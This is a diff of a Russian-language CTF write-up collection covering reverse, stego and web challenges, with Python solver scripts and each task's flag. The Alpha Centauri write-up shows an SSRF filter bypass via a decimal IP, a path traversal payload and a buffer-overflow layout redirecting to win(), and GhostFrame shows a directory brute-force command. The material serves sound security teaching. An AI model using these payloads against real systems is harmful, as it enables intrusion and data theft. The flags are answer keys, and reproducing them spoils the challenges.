| `CHECKTIME` | XOR'ит значение с `0xFF` при медленном выполнении | Не триггерится в памяти |
## Флаг
`caplag{v1rtu4l_m4ch1n3_m4st3r}`

View File

@@ -0,0 +1,39 @@
<h1 align="center">Dungeon Crawler</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Reverse-blueviolet" alt="Reverse"/>
<img src="https://img.shields.io/badge/points-888-orange" alt="888 pts"/>
</p>
Бинарь перед нами — прототип навигационной системы для подземельного робота. Робот обязан пройти лабиринт от входа до выхода, и если маршрут верный, программа выдаёт секретный код. Формат ввода — строка из `U`/`D`/`L`/`R`. Внутри бинаря, если аккуратно поковыряться, находится сразу четыре лабиринта — три в открытом виде и один зашифрованный. Вся задача построена вокруг того, чтобы сбить с пути автоматические солверы.
## Решение
Начинаем с того, что лежит на виду. В `.rodata` три лабиринта 20x20 в plaintext, у каждого даже есть корректный путь от входа до выхода. Подставляем — получаем мусор.
Настоящий лабиринт четвёртый, того же размера, но хранится зашифрованным. Ключ — CRC32 от конкатенации:
```text
checkpoint_keys ‖ moving_wall_positions ‖ magic_constant
```
То есть чтобы его расшифровать, нужно сначала восстановить всю структуру данных, а не просто дёрнуть строку. Дальше три ловушки:
| # | Ловушка | Как работает |
|---|---|---|
| 1 | Три plaintext-лабиринта в `.rodata` | Все три имеют валидный путь, но ведут к неправильным ответам |
| 2 | Движущиеся стены | 3 позиции меняются в зависимости от номера шага: `step % 5 < 3` → открыто, иначе → закрыто |
| 3 | `getpid() ^ getpid()` в расшифровке флага | Выглядит как PID-зависимая соль, всегда равен нулю |
Вторая ловушка — самая неприятная. Если извлечь лабиринт статикой и запустить обычный BFS, правильного пути он не найдёт. BFS обязан знать текущий шаг и состояние подвижных стен именно на этом шаге.
Правильный порядок действий:
1. Разбираем структуру данных (checkpoints + moving walls → derived key).
2. Расшифровываем настоящий лабиринт.
3. Гоняем BFS с учётом номера шага и состояния движущихся стен.
4. Собираем контрольные точки по пройденному маршруту.
5. Расшифровываем флаг через [LFSR](https://en.wikipedia.org/wiki/Linear-feedback_shift_register).
## Флаг
`caplag{3v3ry_w4ll_h4s_4_d00r}`

View File

@@ -0,0 +1,60 @@
<h1 align="center">Птица Говорун</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Reverse-blueviolet" alt="Reverse"/>
<img src="https://img.shields.io/badge/points-1000-critical" alt="1000 pts"/>
</p>
Получаем на старте Windows x64 бинарь `challenge.exe`. Сначала программа проверяет окружение, потом собирает из найденных значений ключ, и только затем расшифровывает вшитый массив байт. Флаг покажется лишь если все три проверки окружения сойдутся с ожидаемыми значениями.
## Решение
Открываем в Ghidra или IDA — и видим три проверки:
| Артефакт | Откуда берётся | Ожидаемое значение |
|---|---|---|
| MAC-префикс | `GetAdaptersInfo()` | `00:0C:29` |
| Имя компьютера | `GetComputerNameA()` | `CHALLENGE-PC` |
| Гипервизор | `cpuid` leaf `0x40000000` | `VMwareVMware` |
Все три куска склеиваются в материал ключа:
```text
000C29CHALLENGE-PCVMwareVMware
```
От этой строки считается SHA-256, и все 32 байта хеша идут как XOR-ключ для зашифрованного флага. После расшифровки программа ещё раз считает SHA-256 от результата и сравнивает с зашитым эталоном — сошлось, печатает флаг.
> **CPUID leaf `0x40000000`** — стандартизованный интерфейс обнаружения гипервизора. Vendor возвращает 12 ASCII-символов в `EBX:ECX:EDX`: VMware — `VMwareVMware`, Hyper-V — `Microsoft Hv`, KVM — `KVMKVMKVM`, VirtualBox — `VBoxVBoxVBox`. На реальном железе leaf возвращает нули. Детали — в [Microsoft Hypervisor TLFS](https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/feature-discovery).
Предполагаемый путь — просто собрать окружение под эталон: запустить Windows внутри VMware, переименовать компьютер в `CHALLENGE-PC`, убедиться, что MAC первого адаптера начинается с `00:0C:29`, и запустить `challenge.exe`. Строку `VMwareVMware` VMware и так сама возвращает через CPUID, её отдельно подделывать не нужно. А если не повезло и MAC выпал с неправильным префиксом, его легко зафиксировать вручную в `.vmx`:
```text
ethernet0.addressType = "static"
ethernet0.address = "00:0C:29:AA:BB:CC"
```
Однако, можно не возиться с виртуалкой — всё нужное уже лежит в бинарнике: и материал ключа, и сам зашифрованный массив xD
Воспроизводим алгоритм на Python и получаем флаг локально:
```python
import hashlib
key_material = "000C29CHALLENGE-PCVMwareVMware"
key = hashlib.sha256(key_material.encode()).digest()
enc = bytes([
0xf9, 0x10, 0x70, 0x63, 0xa3, 0x57, 0x19, 0xb5,
0x38, 0x6e, 0x11, 0xb1, 0xfe, 0xf6, 0x6f, 0x4c,
0xf3, 0x07, 0x65, 0x50, 0xf3, 0x03, 0x51, 0xf4,
0x0a, 0x50, 0x42, 0xb2, 0xb9, 0xf1, 0x3e, 0x5b,
0xa3, 0x0c
])
flag = bytes(enc[i] ^ key[i % 32] for i in range(len(enc)))
print(flag.decode())
```
## Флаг
`caplag{vm_detective_1337_a7f3b2c9}`

View File

@@ -0,0 +1,109 @@
<h1 align="center">Alpha Centauri</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Reverse-blueviolet" alt="Reverse"/>
<img src="https://img.shields.io/badge/points-Σ_6991-critical" alt="Σ 6991 pts"/>
</p>
<p align="center"><sub><b>этапы:</b> 996 · 998 · 999 · 999 · 999 · 1000 · 1000</sub></p>
Вспоминаем нашу любимую вселенную с бессмертным Леоном (ну реально, у тебя совесть то есть в таком возрасте в такой физ. форме находиться?). Всего у очередной лаборатории корпорации *будет 7 уровней*: артефакты каждого шага содержат ключевой материал для следующего:
```mermaid
flowchart LR
T1(["1 · Surface<br/><i>web</i>"])
T2(["2 · Capsule<br/><i>forensics</i>"])
T3(["3 · Auth<br/><i>reverse</i>"])
T4(["4 · USB Key<br/><i>forensics</i>"])
T5(["5 · Audit<br/><i>crypto</i>"])
T6(["6 · Nemesis<br/><i>proto</i>"])
T7(["7 · Uplink<br/><i>pwn</i>"])
T1 --> T2 --> T3 --> T4 -->|seed_tail| T5 -->|tokens| T6 -->|ticket| T7
T3 -. seed_head .-> T5
classDef web fill:#dbeafe,stroke:#3b82f6,color:#1e3a8a
classDef forensics fill:#fce7f3,stroke:#ec4899,color:#831843
classDef reverse fill:#fef3c7,stroke:#f59e0b,color:#78350f
classDef crypto fill:#d1fae5,stroke:#10b981,color:#064e3b
classDef proto fill:#ede9fe,stroke:#8b5cf6,color:#312e81
classDef pwn fill:#fee2e2,stroke:#ef4444,color:#7f1d1d
class T1 web
class T2,T4 forensics
class T3 reverse
class T5 crypto
class T6 proto
class T7 pwn
```
## Решение
**Таск 1 — Surface (Web).** В глаза сразу бросается подозрительный эндпоинт `/api/internal/cache-check?url=` — классический SSRF. Есть фильтрация по `127.0.0.1`, но ее легко обойти путем перевода IP в десятичный формат:
```text
http://2130706433:18091/bootstrap/creds
```
В ответе лежит `admin:UmbrellaNode7`. Под этими кредами заходим в админку, дальше находим другой весёлый эндпоинт — `/api/files?name=...`. При помощи незамысловатого path traversal `../private/exports/flag.txt` получаем флаг для первого этапа.
**Таск 2 — Capsule (Forensics).** Распаковываем `capsule.tar`, внутри `manifest.json` описано 40 чанков, из которых склеивается 10 МБ образа. Сигнатурным поиском (`ACIX` = `0x58494341` LE) находится orphaned ACIX-контейнер. Бинарники из OS подсказывают, чем он шифровался:
```text
byte ^= (i * 0x3F + 0x17) & 0xFF
```
Снимаем маску, прогоняем `gunzip` — на выходе JSON с `flag2`, auth_ploicy и метаданными сида.
**Таск 3 — Auth Reverse.** Из `AlphaCentauri-ctf.img` парсится кастомная UmbrellaFS, внутри лежит `/ops/operator.note.enc` (341 байт). `auth_policy` из таска 2 задаёт формат пароля `<word>-<word>-<word>-<3digits>`. Словарь из 12 слов даёт $12^3 \cdot 1000 = 1\,728\,000$ кандидатов — брутим, пароль находится на попытке `#41 408` примерно за 3 секунды:
```text
relay-mirror-lattice-407
```
После расшифровки получаем `flag3`, `audit_seed_head=43656e7461757269` и координату USB-образа.
**Таск 4 — USB Key Reverse.** `ops-usb.img` маленький — 32 КБ, 64 сектора:
| LBA | Содержимое |
|---|---|
| `32` | `usb_keyfile_t` с magic `UMBK`, оператор |
| `33` | Vendor trailer `UMBX`: `flag4`, `seed_tail=536565644b657931` |
**Таск 5 — Audit Crypto.** Склеиваем полный seed из тасков 3 и 4:
```text
43656e7461757269 + 536565644b657931 → CentauriSeedKey1
```
Ключ выводится из сида по формуле `seed[i] ^ (i * 0x1f + 5)` — 16 байт. Этим ключом через кастомный `umbrella_ctr` расшифровывается `audit.log` (672 байта, 6 записей), и из них достаются `flag5`, `cluster_key`, `node_id`, `operator_token` и TCP endpoint для следующего этапа.
**Таск 6 — Nemesis Proto.** Подключаемся к `nemesisd --mode proto` на порту 24062, делаем handshake с `cluster_key` и `node_id` из таска 5, шлём `msg_type=0x31` с `operator_token` в payload. В ответе приходят:
```text
flag6
ticket = 53414d504c455f5449434b45545f3031
hint = upload_sample
msg = 0x41
```
**Таск 7 — Uplink Pwn.** В паблик-бинарнике `nemesisd` через `nm nemesisd | grep win` находим `win()` по адресу `0x4043e0`. Уязвимость — `memcpy(ctx.name, payload+4, name_len)` без проверки `name_len <= 64`. Готовим payload с `name_len=72`:
```mermaid
block-beta
columns 4
H["header<br/>4 B"]
P["A × 64<br/>64 B<br/>→ ctx.name[64]"]
W["p64(win)<br/>8 B<br/>→ ctx.dispatch"]
T["ticket<br/>16 B"]
classDef base fill:#e0e7ff,stroke:#6366f1,color:#312e81
classDef hit fill:#fee2e2,stroke:#dc2626,color:#7f1d1d
class H,P,T base
class W hit
```
92 байта уходят через `nemesis_client --msg-type 0x41`, и сервер отдаёт финальный флаг.
## Флаг
`caplag{alpha_centauri_uplink_overflow}`

View File

@@ -0,0 +1,54 @@
<h1 align="center">Художественная галерея</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Stego-blueviolet" alt="Stego"/>
<img src="https://img.shields.io/badge/points-979-critical" alt="979 pts"/>
</p>
Изучаем выданный `gallery.psd` — PSD-файл с пятью слоями:
| # | Имя | Состояние |
|---|---|---|
| 0 | `Background` | видимый |
| 1 | `Title` | видимый |
| 2 | `Pattern A` | скрытый |
| 3 | `Pattern B` | скрытый |
| 4 | `Encrypted` | скрытый |
Два из трёх скрытых слоёв — ложный след, а настоящий QR-код лежит в третьем и дополнительно зашифрован AES'ом.
## Решение
PSD разбираем руками по [официальной спецификации Adobe](https://www.adobe.com/devnet-apps/photoshop/fileformatashtml/). Структура файла такая:
```mermaid
block-beta
columns 1
H["8BPS header"]
CM["Color Mode Data"]
IR["Image Resources<br/>XMP ID 0x0424 ← ключ к расшифровке"]
LMI["Layer and Mask Info<br/>слои, флаги, каналы"]
ID["Image Data"]
classDef base fill:#f3f4f6,stroke:#6b7280,color:#111827
classDef hit fill:#fef3c7,stroke:#f59e0b,color:#78350f
class H,CM,LMI,ID base
class IR hit
```
В секции `Image Resources` ищем XMP-метаданные (блок с ID `0x0424`) — там и запрятан ключ ко всей задаче. Внутри XMP смотрим на тег `<xmp:CreateDate>`: ISO 8601 timestamp создания файла. В секции `Layer and Mask Information` для каждого слоя лежит имя, флаги видимости (бит `0x02` в flags = «скрытый»), `opacity` и сырые данные каналов. Пиксельные данные хранятся несжатыми — можно напрямую залить в `numpy`-массив `h × w`.
Первое, что теперь приходит в голову при виде двух скрытых «паттернов» — это XOR'нуть их между собой. Берём `Pattern A` и `Pattern B`, XOR — получается картинка с вполне читаемым QR-кодом. Сканируем, внутри флаг, таск решён… *кроме того, что флаг внутри фейковый*. Настоящий QR живёт в третьем скрытом слое — `Encrypted`, и это шифротекст исходного QR в режиме AES-ECB.
Ключ для AES собирается из той самой timestamp-метки:
```python
aes_key = sha256(timestamp.encode()).digest()[:16]
```
Расшифровываем R-канал в `AES.MODE_ECB`, снимаем PKCS#7-паддинг по последнему байту, интерпретируем результат как `h × w` grayscale-картинку. Внутри — настоящий QR, внутри QR — флаг. Если `pyzbar` с первого раза не узнал код, помогает `NEAREST`-апскейл в 23 раза.
Готовый солвер — [`solve/solver.py`](solve/solver.py).
## Флаг
`caplag{l4y3rs_0f_d3c3pt10n_unv31l3d}`

View File

@@ -0,0 +1,233 @@
#!/usr/bin/env python3
"""
Решение для задания 6: Художественная галерея (усложнённая версия)
PSD-файл содержит 5 слоёв:
0: Background (видимый)
1: Title (видимый)
2: Pattern A (скрытый) — случайный шум
3: Pattern B (скрытый) — шум,содержащий ложный QR
4: Encrypted (скрытый) — верный QR, зашифрованный AES-ECB
Цепочка решения:
1. Разобрать PSD, найти скрытые слои
2. XOR слоёв 2 и 3 -> ЛОЖНЫЙ QR -> фейковый флаг (ловушка!)
3. Обнаружить слой 4 ("Encrypted") — третий скрытый слой
4. Извлечь временну́ю метку создания из XMP-метаданных PSD
5. Получить AES-ключ: SHA256(временная_метка)[:16]
6. Расшифровать слой 4 через AES-ECB -> настоящий QR -> настоящий флаг
"""
import sys, os, struct, io, hashlib, re
import numpy as np
from PIL import Image
from pyzbar.pyzbar import decode as decode_qr
from Crypto.Cipher import AES
def parse_psd_layers(filepath):
"""Разбирает PSD-файл и извлекает изображения всех слоёв и XMP-метаданные."""
with open(filepath, 'rb') as f:
data = f.read()
buf = io.BytesIO(data)
# ── Заголовок файла ──────────────────────────────────────────────────────
sig = buf.read(4)
assert sig == b'8BPS' # Сигнатура формата PSD
version = struct.unpack('>H', buf.read(2))[0]
buf.read(6) # Зарезервированные байты
num_channels = struct.unpack('>H', buf.read(2))[0]
height = struct.unpack('>I', buf.read(4))[0]
width = struct.unpack('>I', buf.read(4))[0]
depth = struct.unpack('>H', buf.read(2))[0] # Бит на канал
color_mode = struct.unpack('>H', buf.read(2))[0] # 3 = RGB
print(f"[*] PSD: {width}x{height}")
# ── Секция Color Mode Data (для RGB — пустая) ────────────────────────────
cm_len = struct.unpack('>I', buf.read(4))[0]
buf.read(cm_len)
# ── Секция Image Resources — здесь хранятся XMP-метаданные ──────────────
ir_len = struct.unpack('>I', buf.read(4))[0]
ir_start = buf.tell()
ir_data = buf.read(ir_len)
# Ищем блок XMP среди ресурсов изображения
xmp_data = None
ir_buf = io.BytesIO(ir_data)
while ir_buf.tell() < len(ir_data) - 12:
try:
sig = ir_buf.read(4)
if sig != b'8BIM': # Сигнатура каждого ресурса
break
res_id = struct.unpack('>H', ir_buf.read(2))[0]
name_len = struct.unpack('>B', ir_buf.read(1))[0]
ir_buf.read(name_len)
if (1 + name_len) % 2 != 0: # Выравнивание до чётного байта
ir_buf.read(1)
data_len = struct.unpack('>I', ir_buf.read(4))[0]
res_data = ir_buf.read(data_len)
if data_len % 2 != 0: # Выравнивание данных ресурса
ir_buf.read(1)
if res_id == 0x0424: # ID 0x0424 = XMP-метаданные
xmp_data = res_data
print(f"[+] Найден XMP-ресурс ({len(xmp_data)} байт)")
except:
break
# Извлекаем временну́ю метку создания из XMP
timestamp = None
if xmp_data:
xmp_str = xmp_data.decode('utf-8', errors='ignore')
# Тег <xmp:CreateDate> содержит дату/время в формате ISO 8601
m = re.search(r'<xmp:CreateDate>([^<]+)</xmp:CreateDate>', xmp_str)
if m:
timestamp = m.group(1)
print(f"[+] Временна́я метка создания: {timestamp}")
# ── Секция Layer and Mask Information ────────────────────────────────────
lm_len = struct.unpack('>I', buf.read(4))[0]
li_len = struct.unpack('>I', buf.read(4))[0]
# Отрицательное значение означает, что первый альфа-канал — маска прозрачности
layer_count = abs(struct.unpack('>h', buf.read(2))[0])
print(f"[*] Количество слоёв: {layer_count}")
layers = []
for i in range(layer_count):
# Координаты прямоугольника слоя
top = struct.unpack('>i', buf.read(4))[0]
left = struct.unpack('>i', buf.read(4))[0]
bottom = struct.unpack('>i', buf.read(4))[0]
right = struct.unpack('>i', buf.read(4))[0]
lw = right - left
lh = bottom - top
# Список каналов слоя (id канала + длина данных)
n_ch = struct.unpack('>H', buf.read(2))[0]
channels = []
for _ in range(n_ch):
ch_id = struct.unpack('>h', buf.read(2))[0] # -1=alpha, 0=R, 1=G, 2=B
ch_len = struct.unpack('>I', buf.read(4))[0]
channels.append((ch_id, ch_len))
buf.read(4) # Сигнатура режима наложения
blend_mode = buf.read(4) # Код режима наложения (norm, mul и т.д.)
opacity = struct.unpack('>B', buf.read(1))[0] # 0 = полностью прозрачный
buf.read(1) # Clipping
flags = struct.unpack('>B', buf.read(1))[0]
buf.read(1) # Зарезервированный байт
# Бит 0x02 флагов означает, что слой скрыт (невидим)
visible = not (flags & 0x02)
# Дополнительные данные слоя: маска, диапазоны смешения, имя
extra_len = struct.unpack('>I', buf.read(4))[0]
extra_start = buf.tell()
mask_len = struct.unpack('>I', buf.read(4))[0]
buf.read(mask_len)
blend_range_len = struct.unpack('>I', buf.read(4))[0]
buf.read(blend_range_len)
name_len = struct.unpack('>B', buf.read(1))[0]
name = buf.read(name_len).decode('ascii', errors='ignore')
buf.seek(extra_start + extra_len) # Перепрыгиваем остаток extra-данных
layers.append({
'name': name, 'width': lw, 'height': lh,
'opacity': opacity, 'visible': visible,
'channels': channels,
})
print(f" Слой {i}: '{name}' {lw}x{lh} opacity={opacity} visible={visible}")
# ── Чтение пиксельных данных каналов ────────────────────────────────────
for layer in layers:
lw, lh = layer['width'], layer['height']
channel_data = {}
for ch_id, ch_len in layer['channels']:
compression = struct.unpack('>H', buf.read(2))[0] # 0=Raw, 1=PackBits RLE
pixel_data = buf.read(ch_len - 2)
if compression == 0 and lw * lh > 0:
# Несжатые данные: напрямую читаем в массив нужного размера
arr = np.frombuffer(pixel_data[:lw * lh], dtype=np.uint8).reshape((lh, lw))
else:
# Сжатые/пустые данные — заполняем нулями (достаточно для нашей задачи)
arr = np.zeros((lh, lw), dtype=np.uint8)
channel_data[ch_id] = arr
layer['channel_data'] = channel_data
return layers, timestamp
def solve(filepath: str) -> str:
layers, timestamp = parse_psd_layers(filepath)
# Скрытые слои: невидимые или с нулевой непрозрачностью
hidden = [l for l in layers if not l['visible'] or l['opacity'] == 0]
print(f"\n[*] Найдено скрытых слоёв: {len(hidden)}")
if len(hidden) < 3:
return "ОШИБКА: ожидалось 3 скрытых слоя"
# Ищем зашифрованный слой по имени; если не нашли — берём третий скрытый
enc_layer = None
for l in hidden:
if 'ncrypt' in l['name'].lower(): # "Encrypted", "encrypted" и т.п.
enc_layer = l
break
if not enc_layer:
enc_layer = hidden[2]
print(f"[*] Зашифрованный слой: '{enc_layer['name']}'")
# Извлекаем зашифрованные байты из R-канала (id=0) или альфа-канала (id=-1)
enc_data = enc_layer['channel_data'].get(0, enc_layer['channel_data'].get(-1))
enc_bytes = enc_data.tobytes()
# ── Деривация AES-ключа из временно́й метки ──────────────────────────────
if not timestamp:
return "ОШИБКА: не удалось найти временну́ю метку создания"
# Ключ = первые 16 байт SHA-256 от строки временно́й метки (128-битный AES)
aes_key = hashlib.sha256(timestamp.encode()).digest()[:16]
print(f"[*] AES-ключ: {aes_key.hex()}")
# ── Расшифровка AES-ECB ──────────────────────────────────────────────────
cipher = AES.new(aes_key, AES.MODE_ECB)
decrypted = cipher.decrypt(enc_bytes)
# Удаляем PKCS#7-паддинг: последний байт указывает количество байт паддинга
pad_len = decrypted[-1]
if 1 <= pad_len <= 16:
decrypted = decrypted[:-pad_len]
# Восстанавливаем изображение QR-кода из расшифрованных байт
h, w = enc_layer['height'], enc_layer['width']
dec_array = np.frombuffer(decrypted[:h * w], dtype=np.uint8).reshape((h, w))
# ── Декодирование QR-кода ────────────────────────────────────────────────
img = Image.fromarray(dec_array, 'L') # 'L' = grayscale
results = decode_qr(img)
if results:
return results[0].data.decode('utf-8')
# Если QR не распознался — пробуем увеличить изображение (pyzbar любит крупные QR)
for scale in [2, 3]:
scaled = img.resize((w * scale, h * scale), Image.NEAREST)
results = decode_qr(scaled)
if results:
return results[0].data.decode('utf-8')
return "ОШИБКА: не удалось декодировать QR после расшифровки"
if __name__ == '__main__':
psd_path = os.path.join(os.path.dirname(os.path.abspath(__file__)),
'..', 'public', 'gallery.psd')
# Путь к файлу можно передать первым аргументом командной строки
if len(sys.argv) > 1:
psd_path = sys.argv[1]
flag = solve(psd_path)
print(f"[+] Флаг: {flag}")

View File

@@ -0,0 +1,33 @@
<h1 align="center">ChinaOwner</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Stego-blueviolet" alt="Stego"/>
<img src="https://img.shields.io/badge/points-960-critical" alt="960 pts"/>
</p>
У нас есть архив сырых [AIS](https://gpsd.gitlab.io/gpsd/AIVDM.html)-строк формата `!AIVDM` с временными метками. Больше всего в галаза бросается судно, которое публикует в поле `destination` строки `CHINA OWNER` и `CHINA OWNER&CREW`. Эти значения - маркер правильного MMSI. Само сообщение находится в таймингах между соседними `type 5` сообщениями того же борта.
## Решение
Сообщения `type 5` в AIS длинные, в handout они поделены на две `!AIVDM`-строки. Для начала склеиваем фрагменты по `seq_id`, каналу и timestamp, декодируем armored payload обратно в биты, отфильтровываем `message type == 5`. В пятом типе лежат `MMSI`, имя судна, `destination` и `ETA`.
> **AIS `!AIVDM` / type 5.** Тип 5 — «Static and Voyage Related Data» судна: содержит MMSI, IMO, имя, тип, позывной, данные о грузе, destination и ETA. Формат payload — armored 6-bit ASCII, [gpsd AIVDM spec](https://gpsd.gitlab.io/gpsd/AIVDM.html#_types_5_and_24_static_and_voyage_related_data) описывает все поля побитно.
После декодирования всплывает один MMSI — `422451900`. У этого судна `destination` раз за разом принимает значения `CHINA OWNER` и `CHINA OWNER&CREW` — вот он, нужный канал. Дальше сортируем все его `type 5` сообщения по времени и смотрим на интервалы между соседними timestamp:
| # | Δt, сек | Δt 280 | chr() |
|---|---:|---:|:---:|
| 1 | 379 | 99 | `c` |
| 2 | 377 | 97 | `a` |
| 3 | 392 | 112 | `p` |
| 4 | 388 | 108 | `l` |
| 5 | 377 | 97 | `a` |
| 6 | 383 | 103 | `g` |
| … | … | … | … |
Схема кодирования достаточно очевидная: `chr(delta_seconds - 280)`. Прогоняем ту же операцию по всем дельтам — получаем полную строку флага.
Готовый скрипт — [`solve/decode_timing.py`](solve/decode_timing.py): `python3 solve/decode_timing.py`.
## Флаг
`caplag{watch_the_gaps_not_the_words}`

View File

@@ -0,0 +1,123 @@
#!/usr/bin/env python3
from __future__ import annotations
from collections import defaultdict
from datetime import datetime
from pathlib import Path
INPUT_PATH = Path(__file__).resolve().parents[1] / "public" / "hormuz_feed.nmea"
TIMING_OFFSET = 280
AIS_TEXT_TABLE = '@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_ !"#$%&\'()*+,-./0123456789:;<=>?'
def armor_to_sixbit(char: str) -> int:
value = ord(char) - 48
if value > 40:
value -= 8
return value
def payload_to_bits(payload: str, fill_bits: int) -> str:
bits = "".join(f"{armor_to_sixbit(char):06b}" for char in payload)
return bits[:-fill_bits] if fill_bits else bits
def bits_to_int(bits: str) -> int:
return int(bits, 2)
def bits_to_signed(bits: str) -> int:
value = int(bits, 2)
if bits and bits[0] == "1":
value -= 1 << len(bits)
return value
def decode_text(bits: str) -> str:
chars = []
for index in range(0, len(bits), 6):
chars.append(AIS_TEXT_TABLE[int(bits[index:index + 6], 2)])
return "".join(chars).rstrip("@ ").strip()
def parse_messages(path: Path) -> list[tuple[datetime, str]]:
fragments: dict[tuple[str, str, str], dict[int, str]] = {}
fragment_totals: dict[tuple[str, str, str], int] = {}
fill_bits: dict[tuple[str, str, str], int] = {}
completed: list[tuple[datetime, str]] = []
for raw_line in path.read_text(encoding="ascii").splitlines():
if not raw_line:
continue
timestamp_text, sentence = raw_line.split(" ", 1)
timestamp = datetime.fromisoformat(timestamp_text.replace("Z", "+00:00"))
body, checksum = sentence[1:].split("*", 1)
fields = body.split(",")
total = int(fields[1])
index = int(fields[2])
seq_id = fields[3] or "-"
channel = fields[4]
payload = fields[5]
fill = int(fields[6])
key = (timestamp_text, channel, seq_id)
if total == 1:
completed.append((timestamp, payload_to_bits(payload, fill)))
continue
fragments.setdefault(key, {})[index] = payload
fragment_totals[key] = total
fill_bits[key] = fill
if len(fragments[key]) == total:
merged = "".join(fragments[key][part] for part in range(1, total + 1))
completed.append((timestamp, payload_to_bits(merged, fill_bits[key])))
del fragments[key]
del fragment_totals[key]
del fill_bits[key]
return sorted(completed, key=lambda item: item[0])
def decode_type5(bits: str) -> tuple[int, str] | None:
if bits_to_int(bits[0:6]) != 5:
return None
mmsi = bits_to_int(bits[8:38])
destination = decode_text(bits[302:422])
return mmsi, destination
def recover_flag(path: Path) -> str:
per_mmsi: dict[int, list[tuple[datetime, str]]] = defaultdict(list)
for timestamp, bits in parse_messages(path):
decoded = decode_type5(bits)
if decoded is None:
continue
mmsi, destination = decoded
per_mmsi[mmsi].append((timestamp, destination))
suspects = {
mmsi: rows
for mmsi, rows in per_mmsi.items()
if sum("CHINA OWNER" in destination for _, destination in rows) >= 4
}
if len(suspects) != 1:
raise RuntimeError(f"Expected exactly one suspect MMSI, got {list(suspects)}")
target_rows = next(iter(suspects.values()))
target_rows.sort(key=lambda item: item[0])
decoded_chars = []
for previous, current in zip(target_rows, target_rows[1:]):
delta = int((current[0] - previous[0]).total_seconds())
decoded_chars.append(chr(delta - TIMING_OFFSET))
return "".join(decoded_chars)
def main() -> None:
flag = recover_flag(INPUT_PATH)
print(flag)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,30 @@
<h1 align="center">Summer Vacations</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Stego-blueviolet" alt="Stego"/>
<img src="https://img.shields.io/badge/points-799-yellow" alt="799 pts"/>
</p>
На входе — картинка `vacation.png`. Если провести классический LSB-скан по красному каналу, тогда быстро находится читаемая строка, похожая на флаг — и это ловушка. Настоящий флаг расположен в младшем бите альфа-канала.
## Решение
Открываем картинку в RGBA (принудительно, чтобы гарантированно получить альфа-канал) и проходим по пикселям в растровом порядке (слева направо, сверху вниз). Для каждого пикселя проверяем условие:
```text
(R * G * B) % 7 == 3
```
Только те, что прошли фильтр, несут бит данных — и из них забираем младший бит альфа-канала:
```python
if (r * g * b) % 7 == 3:
bits.append(a & 1)
```
Накопленные биты группируем по 8 (старший бит первым) и собираем в байты. Нулевой байт — маркер конца данных, аналог `\0`-терминатора в C. Принимаем только печатаемые ASCII (`0x20``0x7E`); всё остальное — либо конец флага, либо мусор.
Готовый солвер — [`solve/solver.py`](solve/solver.py).
## Флаг
`caplag{p4t13nc3_r3v34ls_truth}`

View File

@@ -0,0 +1,66 @@
#!/usr/bin/env python3
"""
Правильный флаг спрятан в младшем бите (LSB) альфа-канала пикселей,
где (R*G*B) % 7 == 3.
Ложный флаг находится в LSB красного канала.
Шаги:
1. Открыть изображение в режиме RGBA
2. Обойти пиксели в растровом порядке (слева направо, сверху вниз)
3. Для каждого пикселя проверить условие (R*G*B) % 7 == 3
4. Если условие выполнено — извлечь младший бит альфа-канала
5. Декодировать каждые 8 бит в один ASCII-символ
"""
import sys, os
from PIL import Image
def solve(filepath: str) -> str:
# Открываем изображение и принудительно переводим в режим RGBA
# (чтобы гарантированно получить альфа-канал)
img = Image.open(filepath).convert('RGBA')
pixels = img.load()
# Извлекаем младшие биты альфа-канала из подходящих пикселей
bits = []
for y in range(img.height):
for x in range(img.width):
r, g, b, a = pixels[x, y]
# Условие фильтрации: произведение RGB по модулю 7 равно 3
# Это нестандартный критерий, чтобы скрыть данные от обычных стего-сканеров
if (r * g * b) % 7 == 3:
# Берём только последний (младший) бит альфа-канала
bits.append(a & 1)
print(f"[*] Найдено {len(bits)} подходящих пикселей (бит)")
# Декодируем последовательность бит в строку флага
flag = ''
for i in range(0, len(bits) - 7, 8):
# Собираем байт из 8 последовательных бит (старший бит — первый)
byte_val = 0
for j in range(8):
byte_val = (byte_val << 1) | bits[i + j]
# Нулевой байт означает конец данных (аналог нуль-терминатора в C)
if byte_val == 0:
break
# Принимаем только печатаемые ASCII-символы (коды 32126)
# Всё остальное — признак конца флага или мусорных данных
if 32 <= byte_val <= 126:
flag += chr(byte_val)
else:
break
return flag
if __name__ == '__main__':
img_path = os.path.join(os.path.dirname(os.path.abspath(__file__)),
'..', 'public', 'vacation.png')
if len(sys.argv) > 1:
img_path = sys.argv[1]
flag = solve(img_path)
print(f"[+] Флаг: {flag}")

56
web-ghostframe/WRITEUP.md Normal file
View File

@@ -0,0 +1,56 @@
<h1 align="center">GhostFrame</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
<img src="https://img.shields.io/badge/points-804-yellow" alt="804 pts"/>
</p>
Из всех вводных в таске нам дается только URL. Сначала необходимо найти скрытую страницу, потом выкачать debug-бандл с [ONNX](https://onnx.ai/onnx/intro/)-моделью и метаданными, и потом уже собрать картинку, которая пройдёт все фильтры классификатора.
## Решение
Раз на главной пусто, начинаем с банального перебора директорий:
```bash
gobuster dir -u http://<ip>:<port> \
-w /usr/share/seclists/Discovery/Web-Content/common.txt
```
Всплывает скрытая страница `/backup`, внутри — ссылка на архив `prizrachny_kadr_export.zip`. Скачиваем, распаковываем:
| Файл | Назначение |
|---|---|
| `vision_gate.onnx` | Сам классификатор |
| `preprocess.json` | Список признаков и порог |
| `memory.log` | Лог прошлых попыток |
Самый полезный — `preprocess.json`. Формулы он прямо не раскрывает, но рассказывает, какие признаки модель считает:
```text
amber_ratio
blue_ratio
contrast
edge_density
filename_signal
metadata_signal
```
Точные пороги неизвестны — вытягиваем их через `/api/submit`. После каждой отправки сервис выводит чего именно не хватило. Из подсказок составляем полный набор требований:
| Признак | Требование |
|---|---|
| `filename_signal` | Имя файла содержит `lens`, `prism` или `lattice` |
| `metadata_signal` | [PNG `tEXt`](https://www.w3.org/TR/png/#11tEXt) `ghost-signal` начинается с `iris` |
| `amber_ratio` | Тёплый янтарный тон |
| `blue_ratio` | Заметный синий канал |
| `contrast` | Высокий |
